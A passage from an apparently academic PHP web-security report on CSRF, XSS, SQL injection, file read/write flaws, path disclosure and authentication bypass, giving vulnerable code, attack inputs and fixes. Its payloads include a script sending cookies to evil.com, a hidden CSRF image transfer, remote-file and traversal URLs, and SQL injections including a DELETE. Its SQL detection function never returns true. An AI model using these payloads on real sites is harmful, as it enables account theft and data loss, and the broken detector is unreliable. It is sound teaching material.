http://www.mywebapplication.com/viewPaymentDetails?receiptId=7892

This will show payment details by querying the database. It is reasonable to assume

that he will try to see what happens when the value for ‘receiptId’ is changed. For example,

he might visit:

http://www.mywebapplication.com/viewPaymentDetails?receiptId=7894

An attacker might try to see if he can access someone else's information. While GET

data is only slightly more convenient to manipulate than POST data, its increased exposure

makes it a more frequent target, particularly for novice attackers [24].

To better illustrate the attack consider a web-based e-mail application where users can

reset their password by answering the security question correctly, and allows the users to

send the password to the e-mail address of their choosing. After they answer the security

question correctly, the web page will arrive to the following web form where the users can

enter their alternative e-mail address [23]:

<form action="resetpassword.php" method="GET">

<input type="hidden" name="username" value="user001" />

<p>Please enter your alternative e-mail address:</p>

<input type="text" name="altemail" /><br />

<input type="submit" value="Submit" />

</form>

The receiving page (resetpassword.php) has all the information it needs to send the

password to the new e-mail. The hidden variable username contains the value user001, which

is the username of the e-mail account [23]. Due to the fact that this web form is using the

GET data method, when the user submits [email protected] as the e-mail

address where the user wants the password to be sent to, the user then arrives at the following

URL [23]:

39

http://semanticurlattackexample.com/resetpassword.php?username=user001&alt

email=alternative%40emailexample.com

This URL appears in the location bar of the browser, so the user can identify the

username and the e-mail address through the URL parameters. The user may decide to steal

other people's (user002) e-mail address by visiting the following URL as an experiment [23]:

http://semanticurlattackexample.com/resetpassword.php?username=user002&alt

email=alternative%40emailexample.com

If the resetpassword.php accepts these values, it is vulnerable to a semantic URL

attack. The new password of the user002 e-mail address will be generated and sent to

[email protected] which causes user002's e-mail account to be stolen [23].

In order to prevent this problem sessions should be used to keep track of things, this can be

avoided easily:

<?php

session_start();

$clean = array();

/* Check for valid e-mail address */

$Is_email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL,

FILTER_NULL_ON_FAILURE);

if ($Is_email)

{

$clean['email'] = $_POST['email'];

$user = $_SESSION['user'];

$new_password = md5(uniqid(rand(), TRUE));

if ($_SESSION['verified'])

{

/* e-mail updated Password */

mail($clean['email'], 'Your New Password', $new_password);

}

}

?>

This example demonstrates session variables that keep up with whether the current

user has already answered the verification question correctly ($_SESSION['verified']) and

the name of the account for which the verification question was answered

($_SESSION['user']). It is this lack of trust given to input that is the key to preventing

semantic url attacks in your applications [25].

40

CHAPTER 14

CROSS-SITE REQUEST FORGERY

Cross-site request forgery (CSRF) is an attack which forces an end user to execute

unwanted actions on a web application in which he/she is currently authenticated [26]. With

a little help of social engineering (like sending a link via email/chat), an attacker may force

the users of a web application to execute actions of the attacker's choosing. A successful

CSRF exploit can compromise end user data and operation in case of normal user [27]. If the

targeted end user is the administrator account, this can compromise the entire web

application.

Consider a sample application that allows users to transfer money online. The

interface includes the following form:

<form action="send.php" method="POST">

<p>

Name: <input type="text" name="account" /><br />

<br />

Amount: <input type="text" name="amount" /><br />

<input type="submit" value="Send" />

</p>

</form>

The send.php script processes this information:

<?php

session_start();

$clean = array();

if (isset($_REQUEST['account'] && isset($_REQUEST['amount']))

{

/* Filter Input ($_REQUEST['account'], $_REQUEST['amount']) */

if (send_item($clean['account'], $clean['amount']))

{

echo '<p>Money Transferred.</p>';

}

else

{

41

echo '<p>There was a problem while transferring.</p>';

}

}

?>

An attacker can use your application as intended to do some basic profiling. For

example, an attacker can visit this form to discover that the form elements are ‘account’ and

‘amount’. After noting this, the attacker can then try to see whether GET request can be used

to perform the same action by visiting the following URL:

http://bank.example.org/send.php?account=sam&amount=100000

If this is also successful, then the attacker knows the format of a URL that causes

money transfer when visited by an authenticated user. This situation makes a CSRF attack

very easy because the attacker only needs to cause a victim to visit this URL. After the

attacker’s malicious request is generated, Attacker must trick the user into submitting the

request. The most basic method is to send an HTML email containing the following:

<a href=" http://bank.example.org/send.php?account=sam&amount=100000">View

my Pictures!</a>

Assuming user is authenticated with the bank application when he/she clicks the link,

the transfer of $100,000 to sam’s account will occur. However, there is a possibility that if

user clicks the link, then user will notice that a transfer has occurred. Therefore, attacker

decides to hide the attack in a zero-byte image:

<img src=" http://bank.example.org/send.php?account=sam&amount=100000"

width="1" height="1" border="0">

If this image tag were included in the email, user would only see a little box

indicating that the browser could not render the image [28]. However, the browser will still

submit the request to bank.example.org without any visual indication that the transfer has

taken place [28].

In order to protect against CSRF attacks, developer should take the following:

Use POST instead of GET requests for triggering actions.

Access the submitted data only via the $_POST array to ensure that their origin is a POST request. Using the POST method is useless when the data is accessed via variables generated by Register Globals or via $_REQUEST [29].

Use hidden fields random tokens to make sure that the request originates from within the application.

42

In order to clarify use of tokens consider following replacement for the above HTML

form [30]:

<?php

$token = md5(uniqid(rand(), TRUE));

$_SESSION['token'] = $token;

$_SESSION['token_time'] = time();

?>

<form action="send.php" method="post">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<p>

Name: <input type="text" name="account" /><br />

Amount: <input type="text" name="amount" /><br />

<input type="submit" value="Send" />

</p>

</form>

With this simple modification, a CSRF attack must include a valid token in order to

perfectly mimic the form submission. Since user token is stored within the session, it is also

necessary that the attacker uses the token unique to the victim. This effectively limits the

attack [25].

43

CHAPTER 15

FILE READ VULNERABILITY

PHP in-built function file_get_contents is used to reads entire file into a string. For

example following php code will open a file with fopen() and then echo the contents of the

file like:

<?php

$file_handle = fopen("source.txt", "w+");

while(!feof($file_handle))

{

echo file_get_contents ($file_handle);

}

fclose($file_handle);

?>

But file_get_contents suffers from both remote file risk & directory traversal attack.

For example, you can retrieve the content (HTML) of a particular page by reading from a

URL:

<?php

$homepage = file_get_contents('http://www.example.com/');

echo $homepage;

?>

This can create severe vulnerabilities when tainted data is used because it allows an

attacker to execute arbitrary code. For example, consider reading a file as follows:

<?php

$contents = file_get_contents($_GET['filename']);

echo $contents;

?>

Now the following GET requests will lead to remote file risk & directory traversal

attack:

http://localhost:8888/read.php?filename=http://evilsite.com/Evilscript.txt

http://localhost:8888/read.php?filename=../../../../../../../../../boot.in

i

44

One solution is to maintain a list of array (clean) where all filtered data is present &

to always filter input and be sure to use only filtered data when referencing a filename as

shown below:

Another solution is to use ‘filter_rfi’ function mentioned in Remote file inclusion

chapter & ‘detect_directory_traversal’ function mentioned in Local file inclusion chapter.

45

CHAPTER 16

FILE WRITE VULNERABILITY

PHP in-built function fwrite() writes the contents of string to the file stream pointed

to by handle. For example following php code will open a file with fopen() and perform

write operation into the file like:

<?php

$filehdl = fopen("config.cfg", "w+");

$server = “server: “ . “localhost\n”;

$port = “port: “ . “8080”;

fwrite($filehdl , $server);

fwrite($filehdl, $port);

fclose($filehdl);

?>

Now consider php script(write_info.php), which writes to a file called settings.php

[15]:

<?php

$filename = 'settings.php';

$user = $_GET['username'];

$pass = $_GET['password'];

$email = $_GET['email'];

if (!$handle = fopen($filename, 'w'))

{

print "Cannot open file ($filename)";

exit;

}

fwrite($handle, "<?php

\$username = '$user';

\$password = '$pass';

\$email = '$email';

?>")

?>

46

Since the input is tainted, attacker can easily write PHP Code into the file which can

be called via a Web Server GET Request and executed.

Now suppose the attacker makes following GET request:

http://localhost:8888/write_info.php?username=';%20echo%20'This%20file%20i

s%20vulnerable%20to%20fwrite()%20injection&password=axHgpTy&email=example@

yahoo.com

Above GET request is decoded as:

http://localhost:8888/write_info.php?username='; echo 'This file is

vulnerable to fwrite() injection&password=axHgpTy&[email protected]

In the example above attacker is injecting text into user input that is used by fwrite.

The file settings.php happens to be a PHP script (<?php ?>) as well so attacker can easily

insert PHP code. When the developer calls settings.php then attacker’s injected code will be

executed as shown in Figure 16.1.

Figure 16.1. File write attack.

47

Further the attack can be worse if the attacker tries to inject system commands. In

order to prevent fwrite attacks, proper filtering of user input should be carried out as

discussed in previous chapters.

48

CHAPTER 17

FULL PATH DISCLOSURE

Full Path disclosure (FPD) is a vulnerability that enables a user to gain knowledge of

full operating url path of a script (i.e. internal path structure of an installation).FPD

vulnerability is executed by injecting unexpected characters into certain parameters of a web-

page [31].

If users (and attackers) can see the raw error messages returned from PHP, your

database, or external programs, they can make educated guesses about how your system is

organized and what software you use. These educated guesses make it easier for attackers to

break into your system [32].

Consider a simple php script (path.php) show below:

<?php

$message=htmlentities($_GET['page']);

echo $message;

?>

Now suppose the attacker enters following GET request:

http://localhost:8888/ test.php?page[]=Cool

The output of above GET request is show in Figure 17.1.

Another popular and very reliable method of producing errors containing a FPD is to give the

page a null session using javascript injections [33]. A simple injection using this method

would look something like this:

javascript:void(document.cookie="PHPSESSID=");

Once the injection has been executed, a page refresh is required. If the injection is

successful, it will result in an error message similar to the following:

Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /var/www/foobar.php on line 3 As the session_start() function is not expecting the illegal characters, it results in a

warning resulting in a full path disclosure.

49

Figure 17.1. Full path disclosure.

As the session_start() function is not expecting the illegal characters, it results in a

warning resulting in a full path disclosure.

Full Path disclosure injection can be prevented by disabling the display of error

messages. This can be done in PHP's php.ini file, Apache's httpd.conf file, or via the PHP

script itself [31]:

php.ini:

display_errors = 'off'

httpd.conf/apache2.conf:

php_flag display_errors off

PHP script:

ini_set ('display_errors', false);

50

CHAPTER 18

CROSS SITE SCRIPTING

Cross-Site Scripting attacks are a type of injection problem, in which malicious

scripts are injected into the otherwise benign and trusted web sites [34]. Cross-site scripting

(XSS) attacks occur when an attacker uses a web application to send malicious code,

generally in the form of a browser side script, to a different end user [34]. Flaws that allow

these attacks to succeed are quite widespread and occur anywhere a web application uses

input from a user & output it generates without validating or encoding it [34].

An attacker can use XSS to send a malicious script to an unsuspecting user [34]. The

end user’s browser has no way to know that the script should not be trusted, and will execute

the script [34]. Because it thinks the script came from a trusted source, the malicious script

can access any cookies, session tokens, or other sensitive information retained by your

browser and used with that site [34]. These scripts can even rewrite the content of the HTML

page [34].

In a typical XSS attack the hacker infects a legitimate web page with his malicious

client-side script [35]. When a user visits this web page the script is downloaded to his

browser and executed [35]. There are many slight variations to this theme, however all XSS

attacks follow this pattern, which is depicted in Figure 18.1 [35].

Now consider an example of a simple message board:

<form action="message.php" method="POST">>

<input type="text" name="message"><br />

<input type="submit">

</form>

Once submit button is pressed, php script (message.php)is called which is as follows :

<?php

if (isset($_POST['message']))

{

51

Figure 18.1. High level view of XSS attack. Source: Acunetix. XSS.htm, 2012. http://www.acunetix.com/websitesecurity/xss.htm, accessed Feb. 2012.

echo $_POST['message'];

}

?>

Now if the attacker sends following message:

<SCRIPT> alert(“XSS”); </SCRIPT>

And if the php script is executed then a popup window will appear as shown in Figure

18.2.

Similarly if the attacker enters following message:

<script>

document.location="http://evil.com/steal_cookies.php?cookie=" +

document.cookie

</script>

The next user who visits the message board with javascript enabled is redirected to

evil.com & any cookies associated with the current site are included in the query string &

sent to steal_cookies.php. XSS attacks may be conducted without using <script></script>

tags. Other tags will do exactly the same thing, for example:

52

Figure18.2. XSS attack.

<body onload=alert('XSS')>

<b onmouseover=alert('Wufff!')>click me!</b>

<img src="http://evil.com/steal_cookies.php"

onerror=alert(document.cookie);>

Cross-site scripting vulnerability exists if the user input is not properly filtered and

escaped. Because the risk exists only when you output tainted, un-escaped data, you can

simply make sure that you filter input and escape output. Since it depends upon a developer

to determine what kind of filtering should be done on incoming data, a good solution is to

create XSS intrusion detection function which will scan for XSS injections & returns true if

detected & false otherwise.

PHP code XSS_intrusion_detection [36, 37]:

function XSS_intrusion_detection($string = '')

{

$detect = false;

/* scan for XSS-attack pattern

http://niiconsulting.com/innovation/snortsignatures.html

53

*/

if (preg_match("/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i", $string)

||

preg_match("/((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))

[^\n]+((\%3E)|>)/i", $string) ||

preg_match("/((\%3C)|<)[^\n]+((\%3E)|>)/i", $string))

{

$detect = true;

}

return $detect;

}

54

CHAPTER 19

SQL INJECTION

A SQL injection attack consists of inserting a SQL statement via the input data from

the client to be run on your database without your knowledge. Injection usually occurs when

you ask a user for input, like their name, and instead of a name they give you a MySQL

statement that you will unknowingly run on your database [38]. A successful SQL injection

exploit can read sensitive data from the database, modify database data

(Insert/Update/Delete), execute administration operations on the database (such as shutdown

the DBMS), recover the content of a given file present on the DBMS file system and in some

cases issue commands to the operating system [39].

Consider the simple authentication form shown in Figure 19.1.

Figure 19.1. HTML login form.

55

HTML Code for above form is as follows:

<form action="login.php" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="text" name="password" /></p> <p><input type="submit" value="Log In" /></p> </form> Now consider the php login script(login.php) which takes input parameters from the

html form & checks for authentication as show above:

<?php

$host="localhost"; // Host name

$username="akram"; // Mysql username

$password="mirza"; // Mysql password

$db_name="site"; // Database name

$tbl_name="customers"; // Table name

// Connect to server and select databse.

mysql_connect("$host", "$username", "$password")or die("cannot connect");

mysql_select_db("$db_name")or die("cannot select DB");

// username and password sent from form

$user=$_POST['Username'];

$pass=$_POST['Password'];

$sql="SELECT * FROM $tbl_name WHERE username='$user' and

password='$pass'";

$result=mysql_query($sql);

$count=mysql_num_rows($result);

if($count==0)

{

header("location:login.html");

}

else

{

$row = mysql_fetch_array($result) or die(mysql_error());

echo "Welcome, " . $row['username'] . "\n";

//Allow access to user & do something...

}

?>

Imagine sending the following username & password (Figure 19.2) :

‘OR’ 1=1

56

Figure 19.2. HTML login form with malicious input.

Inserting above statements into the form will result in the query being extended with

an OR statement, resulting in a final query of:

SELECT * FROM customers WHERE username = '' OR 1 = 1 AND password = '' OR 1 = 1; Because of the OR statement in the SQL query, the check for username & password

is insignificant as 1 does equal 1, thus the query will return TRUE, resulting in a positive

login as show in below browser output (Figure 19.3).

Similarly, imagine sending the following username:

‘OR 1=1 #

In this example, # is used to begin a single-line comment, effectively terminating the

query from that point. This has been tested successfully with MySQL. Inserting the above

into the form will result in a final query of the form:

SELECT * FROM customers WHERE username = '' OR 1 = 1;

This query results in a successful authentication attempt, regardless of the password.

This particular attack is frequently used to steal accounts. Thus, by sending a malformed

username, you can manage to log in without having a valid account.

57

Figure 19.3. Default output login.php.

Although the above example displayed a situation where an attacker could possibly

get access to a lot of information they shouldn't have, the attacks can be a lot worse. For

example an attacker could empty out a table by executing a DELETE statement. Consider a

php code snippet shown below:

$name_evil = "'; DELETE FROM customers WHERE 1 or username = '";

$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";

// the new evil injection query would include a DELETE statement

echo "Injection: " . $query_evil;

Now the query will become:

SELECT * FROM customers WHERE username = ' '; DELETE FROM customers WHERE

1 or username = ' '

If above query is executed, then injected DELETE statement would completely empty

"customers" table. Another basic and common encoding trick is the use of URL encoding.

URL encoding would change an injection string that would normally look like the following:

58

NULL OR 1 = 1/*

To a URL encoded string that would be masked as:

NULL+OR+1%3D1%2F%2A

In order to prevent SQL injection from occurring is to detect whether input string

contains SQL injection & if it does then discarding the input or throwing an warning to the

user to input valid data. Consider a PHP MYSQL_intrusion_detection function which will

scan for SQL injections & returns true if detected.

PHP code MYSQL_intrusion_detection:

function MYSQL_intrusion_detection($string = '')

{

$detect = false;

/* scan for SQL-attack pattern

http://www.symantec.com/connect/articles/detection-sql-

injection-and-cross-site-scripting-attacks

*/

if (preg_match("/(\%27)|(\')|(\')|(%2D%2D)|(\/\*)/i", $string) ||

preg_match("/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(;))/i",

$string) ||

preg_match("/\w*(\%27)|'(\s|\+)*((\%6F)|o|(\%4F))((\%72)|r|(\%52))/i",

$string) ||

preg_match("/((\%27)|')(\s|\+)*union/i", $string))

{

$matches = true;

}

return $detect;

}

59

CHAPTER 20

AUTHENTICATION BYPASS

Authentication bypass vulnerability mainly results from poor authentication

programming used by a developer. Consider a simple PHP authentication

script(example.php):

<?php

if ($logged==true) {

echo 'Logged in.'; }

else

{

print 'Not logged in.';

}

?>

To exploit above code an attacker doesn’t have to put in much effort, he just need to

send following GET request:

http://localhost:8888//example.php?logged=1

As soon as following request is made, attacker is logged in into the application.

Now consider a real world example(login.php):

if ($login_ok)

{

$_SESSION['logged_in'] = true;

echo "<p>$user logged in</p>";

echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |

<a href='admin.php'>$txt_delete-$txt_edit</a> | <a

href='install.php'>$txt_install

</a></div>";

}

Above php code checks if login_ok variable is true, if it is, then user is logged in,

given a session & some links to navigate. Now suppose the attacker enters following request:

http://localhost:8888/login.php?login_okay=1

60

And the attacker is logged in.There are few rare cases where I have found it, but still

there are few. Above type of coding practice should be strictly avoid, also use of database &

cryptography should taken into consideration in order to strengthen login security.

61

CHAPTER 21

SOURCE CODE EXPOSURE

Shared host consist of multiple websites hosted on the same server. Which means a

web server which reads yours source code in order to execute it, also executes source code of

different web site sharing the same server. This is a significant risk because anyone who can

wrote code that your web server executes can also read your source code [25].

Consider a simple php read script (read.php):

<?php

header('Content-Type: text/plain');

readfile($_GET['file_name']);

?>

Suppose this script is placed on a shared host, it is easy for an attacker to view any

file that the web server can read by indicating the full path and filename as the value of file

[25]. For example the shared host is opatija.sdsu.edu, a file such as

/home/username/source.php can be exposed simply by visiting:

http://opatija.sdsu.edu/~mirza/file.php?file=/home/mike/source.php

In order for above script to be useful the attacker must know the location of source

code, but more sophisticated scripts can be written to allow an attacker to conveniently

browse the file system [12]. Similarly, someone might read other users config.php files using

below php script:

<?php

header( 'Content-Type: text/plain' );

$shared_users = array( 'kevin', 'mirza', 'dev' );

foreach( $shared_users AS $username )

{

print "$username's config:\n";

print file_get_contents( "/home/$username/config.php" );

}

?>

In order to prevent this from happening, a developer should consider all of source

code to be public and even code that is store outside of document root. Best solution is to

62

store all sensitive data in a database. This provides a layer of complexity to some scripts [25].

One can create a file (db.php) to store database access credentials & store it outside of

document root like:

<?php

$db_user = 'myuser';

$db_pass = 'mypass';

$db_host = 'localhost';

$db = mysql_connect($db_host, $db_user, $db_pass);

?>

Further if the path to this file is known (or guessed), another user on your server can

potentially access it, obtain your database access credentials, and gain access to your

database, including all of the sensitive data that you are storing there [25].

The best solution to this particular problem is to restrict read & write privileges to

owner only, and this offers good amount of protection:

$ chmod 600 db.php

$ ls db.php

-rw------- 1 mirza mirza 18 Dec 21 12:34 db.php

This effectively prevents a malicious script from accessing your database access

credentials, so you can store sensitive data in the database without a significant risk of it

being compromised.

63

REFERENCES

[1] PHP Freaks. PHP-Security, 2008. http://www.phpfreaks.com/tutorial/php-security, accessed Jan. 2012

[2] Wikipedia. Remote_File_Inclusion, 2012. http://en.wikipedia.org/wiki/Remote_file_inclusion, accessed Jan. 2012.

[3] R. Auger. Remote File Inclusion, 2010. http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion, accessed Jan. 2012.

[4] S. Whitney. PHP Security, 2011. http://25yearsofprogramming.com/blog/2011/20110124.htm, accessed Jan. 2012.

[5] Aldeid. Local_File_Inclusion, 2011. http://www.aldeid.com/wiki/Web_applications_attacks/Local_file_inclusion, accessed Jan. 2012.

[6] Hakipedia. Local_File_Inclusion, 2011. http://hakipedia.com/index.php/Local_File_Inclusion, accessed Jan. 2012.

[7] Wikipedia. Directory_Traversal_Attack, 2012. http://en.wikipedia.org/wiki/Directory_traversal_attack, accessed Jan. 2012.

[8] W3schools. Func_Filesystem_Copy.asp, 2012. http://w3schools.com/php/func_filesystem_copy.asp, Jan. 2012.

[9] R. Auger. Null Byte Injection, 2010. http://projects.webappsec.org/w/page/13246949/ Null%20Byte%20Injection, accessed Jan. 2012.

[10] J. C. K. Keane. Bypassing PHP PathInfo, 2009. http://www.madirish.net/node/232, accessed Jan. 2012.

[11] W3schools. Func_Misc_Eval.asp, 2012. http://www.w3schools.com/php/func_misc_eval.asp, Jan. 2012.

[12] C. Snyder and M. Southwell. Pro PHP security. Apress, Berkeley, CA, 2005.

[13] R. Miller. PHP Security Guide, 2009. http://php.robm.me.uk/, accessed Jan. 2012

[14] Acunetix. Upload-Forms-Threat.htm, 2012. http://www.acunetix.com/websitesecurity/upload-forms-threat.htm, Jan. 2012.

[15] A. Mangarae. Assault on PHP Applications, 2009. http://www.shell-storm.org/papers/files/400.pdf, accessed Jan. 2012.

[16] A. Bezroutchko. Php-File-Upload.pdf, 2007. http://www.scanit.be/uploads/php-file-upload.pdf, accessed Jan. 2012.

[17] J. K. Keane. Web Hacking, 2008. http://www.madirish.net/node/204, accessed Jan. 2012.

64

[18] Owasp. Comment_Injection_Attack, 2011. https://www.owasp.org/index.php/Comment_Injection_Attack, accessed Jan. 2012.

[19] Golemtechnologies. Shell-Injection, 2012. https://www.golemtechnologies.com/articles/shell-injection, accessed Jan. 2012.

[20] Owasp. OS_Command_Injection, 2009. https://www.owasp.org/index.php/OS_Command_Injection, accessed Jan. 2012.

[21] Formlogix. Contact-Us-Form.aspx, 2012. http://www.formlogix.com/Help/Glossary/Contact-Us-Form.aspx, accessed Jan. 2012.

[22] C. Heng. Protect-Script-from-Email-Injection.shtml, 2009. http://www.thesitewizard. com/php/protect-script-from-email-injection.shtml, accessed Jan. 2012.

[23] Wikipedia. Semantic_URL_Attack, 2012. http://en.wikipedia.org/wiki/Semantic_URL_attack, accessed Jan. 2012.

[24] C. Ranjana. Semantic-Url-Attacks.html, 2012. http://developers.chrisranjana.com/ beginners-php-php-novices/semantic-url-attacks.html, accessed Jan. 2012.

[25] C. Snyder. Essential PHP security. O’Reilly, Sebastopol, CA, 2005.

[26] Cross Site Request Forgery. Index.html, 2009. http://crosssiterequestforgery.com/index.html, accessed Feb. 2012.

[27] Owasp. Cross-Site Request Forgery (CSRF), 2010. http://owasp.com/index.php/Cross-Site_Request_Forgery_%28CSRF%29, accessed Jan. 2012.

[28] Owasp. Cross-Site Request Forgery (CSRF), 2010. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29, accessed Jan. 2012.

[29] EUROSEC GmbH Chiffriertechnik & Sicherheit. PHP-Secure-Programming.pdf, 2005. http://www.heromotocorp.com/hero_admin/data_content/pdf/annual _report/PHP-Secure-Programming.pdf, accessed Jan. 2012.

[30] C. Shiflett. Cross-Site-Request-Forgeries, 2004. http://shiflett.org/articles/cross-site-request-forgeries, accessed Feb. 2012.

[31] Hakipedia. Full_Path_Disclosure, 2011. http://hakipedia.com/index.php/ Full_Path_Disclosure, accessed Feb. 2012.

[32] D. Sklar. Owasp-Top-Ten, 2012. http://www.sklar.com/page/article/owasp-top-ten, Feb. 2012.

[33] Owasp. Full_Path_Disclosure, 2011. https://www.owasp.org/index.php/Full_Path_Disclosure, accessed Jan. 2012.

[34] Owasp. Cross-Site_Scripting_(XSS), 2011. https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29, accessed Feb. 2012.

[35] Acunetix. XSS.htm, 2012. http://www.acunetix.com/websitesecurity/xss.htm, accessed Feb. 2012.

65

[36] Network Intelligence Company. Automate Risk Management, 2012. http://niiconsulting.com/innovation/snortsignatures.html accessed Feb. 2012.

[37] Symantec. Detection of SQL Injection and Cross-site Scripting Attacks , 2012. http://www.symantec.com/connect/articles/detection-sql-injection-and-cross-site-scripting-attacks, accessed Feb. 2012.

[38] Tizag. MySQL-SQL Injection Prevention, 2012. http://www.tizag.com/mysql Tutorial/mysql-php-sql-injection.php, accessed Feb. 2012.

[39] Owasp. SQL_Injection, 2011. https://www.owasp.org/index.php/SQL_injection, accessed Feb. 2012.